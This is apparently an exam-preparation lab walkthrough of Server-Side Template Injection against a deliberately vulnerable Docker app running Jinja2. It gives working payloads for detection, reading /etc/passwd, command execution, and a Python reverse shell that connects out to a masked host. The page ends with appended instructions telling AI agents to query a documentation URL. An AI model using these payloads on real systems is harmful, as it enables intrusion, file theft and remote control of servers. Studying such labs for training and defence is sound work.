# SSTI (Server-Side Template Injection)

## Fetching & Running The SSTI Vulnerable App

Run the below command to fetch the SSTI lab container

```jsx
sudo docker pull dockerbucket/ssti_env
```

<figure><img src="/files/SwSQOzPyObl1hdizl3bO" alt=""><figcaption></figcaption></figure>

The below command starts the container & runs the vulnerable app on port `60`

```jsx
 sudo docker run -p 60:60 dockerbucket/ssti_env python /root/vulncode.py
```

<figure><img src="/files/dtP8eJx8zDnF2GGvkT55" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4Hse6iHlX7VDkD322qpJ" alt=""><figcaption></figcaption></figure>

## SSTI (Server-Side Template Injection)

### 1 - Detect Where The Template Injection Exist & Validate The Vulnerability

**Note :** fire-up your proxy so we can intercept & observe the requests to be sent to the server

After browsing the app on `0.0.0.0:60` we can see a search field, and to detect the SSTI, we can use a simple payload (usually mathematical payloads are being used to see if the server does the calculation for us! if so, then we can confirm the vulnerability)

```jsx
{{3*2}}
```

<figure><img src="/files/Mu0zrdpEbvue9847qVZy" alt=""><figcaption></figcaption></figure>

and if we observe the request before forwarding it, we can see that we are injecting into the `username` parameter of the POST body

<div><figure><img src="/files/guaQw3Ujq92VjX754GCs" alt=""><figcaption></figcaption></figure> <figure><img src="/files/bBaC23PJRRaDeE4RSy4z" alt=""><figcaption></figcaption></figure></div>

After forwarding the request, we can see that the Server executed the equation for us and the result is reflected in the server response!

<figure><img src="/files/4YKvEQv4bxKoyStAr3Jx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6I2Hnwp8kZq1yAVRU9Sb" alt=""><figcaption></figcaption></figure>

at this phase, we can conclude that the vulnerable Parameter is `username`

now, we will move to the next step, to identify the Template Engine

### 2 - Identify The Template Engine

as [@u0pattern\_cs](https://twitter.com/u0pattern_cs) mentioned in his [post](https://3alam.pro/1337r00t/articles/ssti) we can follow the approach presented in the below image to identify the Template Engine in use

<figure><img src="/files/XM1q3Nuv7gIyCBjS4hIb" alt=""><figcaption></figcaption></figure>

**Note:** we will follow the green arrow and If the injection fails, we will follow the red arrow.

from the previous step we used the `{{3*2}}` payload, so now we will move forward to the next test case and we will use the following payload

```jsx
{{3*’2’}}
```

and after forwarding the request , we received the following response from the server

<figure><img src="/files/6cRtGYJWRkQZQB9hr07k" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PkItNACRM3SV5eUWHHWR" alt=""><figcaption></figcaption></figure>

if we analyze the server response we can say that the server is still executing our payload (the server prints `2` three times), so the Template Engine can be either [Jinja2](https://palletsprojects.com/p/jinja/) (for `Python`) or [Twig](https://twig.symfony.com/) (for `PHP`)

we will first start testing if it’s a `Python` Template Engine, we will use the below payload (for `Python 2`) which tries to dump the classes

```jsx
{{''.__class__.__mro__[2].__subclasses__()}}
```

and we can see in the below screenshots that we were able to dump the classes names

<div><figure><img src="/files/okOMRd6KJ7gvw1MwBIke" alt=""><figcaption></figcaption></figure> <figure><img src="/files/imY0nxSyWqPNlf8xla9c" alt=""><figcaption></figcaption></figure> <figure><img src="/files/QZTqnE0e32Gbb6vg3gjf" alt=""><figcaption></figcaption></figure></div>

so we can confirm from this phase that the Template Engine is [Jinja2](https://palletsprojects.com/p/jinja/)

### 3 - Exploit the Vulnerability

#### 3.1 - Reading `/etc/passwd`

After dumping the classes, we can utilize the `file` class to read the content of `/etc/passwd` , the class index is `40` and to confirm this we can use the below command to obtain the class name at that index

```jsx
{{''.__class__.__mro__[2].__subclasses__()[40]}}
```

<div><figure><img src="/files/WznZv7eO478sPcJgk0C2" alt=""><figcaption></figcaption></figure> <figure><img src="/files/Lrn3kPfiGscwsSwNzTus" alt=""><figcaption></figcaption></figure> <figure><img src="/files/KmOXyoc9xNKBqZX0UEoI" alt=""><figcaption></figcaption></figure></div>

Now we can call the `read()` function from the `File` class to read the content of `/etc/passwd`

```jsx
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
```

<div><figure><img src="/files/4s9SgGY5nPaxws8eMTKx" alt=""><figcaption></figcaption></figure> <figure><img src="/files/HY5akQcZ5Qti4Cmtgp9n" alt=""><figcaption></figcaption></figure> <figure><img src="/files/479R8EESr8Ore3rz60cv" alt=""><figcaption></figcaption></figure></div>

#### 3.2 `ls`

to execute bash commands in python we can utilize [os](https://docs.python.org/3/library/os.html) library, but how can we use this library in Jinja template engine ? we would need to use the `import` statement to bring the [os](https://docs.python.org/3/library/os.html) library into our context so we can call the library functions.

Sam mentioned in his [project-assignments](https://bowneconsultingcontent.com/pub/EH/proj/ED105.htm) for his students (which solved the same lab BTW!) that we can use the `catch_warnings` function to reach the `import`

I tried to build a payload that performs steps mentioned by Sam which are :

* looping over the classes
* for each class, we are searching for a function that has a “`warning`” string
* using the `catch_warnings` function to reach the `import`
* using `import` to import the `os.system`
* calling `popen` and passing our commands! (below we are passing `ls` command)

```jsx
{% for i in 'alaa'.__class__.__mro__[2].__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i()._module.__builtins__['__import__']('os').popen('ls').read().zfill(417)}}{% endif %}{% endfor %}
```

after injecting this payload, we can see that we were able to perform `ls`

<div><figure><img src="/files/bQWNwxuGaI6jvJ6yzDco" alt=""><figcaption></figcaption></figure> <figure><img src="/files/K6cqVn7wwAZoUl2od0Mh" alt=""><figcaption></figcaption></figure> <figure><img src="/files/tdozJeOnhHyvVieibkni" alt=""><figcaption></figcaption></figure></div>

#### 3.3 Reverse Shell

Using the previous approach we can also obtain a reverse shell, but instead we will pass a python one-line script to the popen

```jsx
python -c 'socket=__import__(\\"socket\\");os=__import__(\\"os\\");pty=__import__(\\"pty\\");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"*.*.*.*\\",4441));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\"/bin/sh\\")'
```

so the final payload will be :

```jsx
{% for i in 'alaa'.__class__.__mro__[2].__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i()._module.__builtins__['__import__']('os').popen("python -c 'socket=__import__(\\"socket\\");os=__import__(\\"os\\");pty=__import__(\\"pty\\");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"*.*.*.*\\",4441));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\\"/bin/sh\\")'").read().zfill(417)}}{% endif %}{% endfor %}
```

and if we execute it we will successfully obtain the shell as can be seen below

<figure><img src="/files/ga9l4TrxGmCeQmedItIO" alt=""><figcaption></figcaption></figure>

**Note:**

* As the vulnerable application is installed in a docker container, to obtain a reverse shell I started another container in my machine (kali as you see), I’m not aware of how to pass connections between docker containers and other VMs or main host machine


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://b1tbyte.gitbook.io/cheatsheets/oswe/oswe-preparation-machines/ssti-server-side-template-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
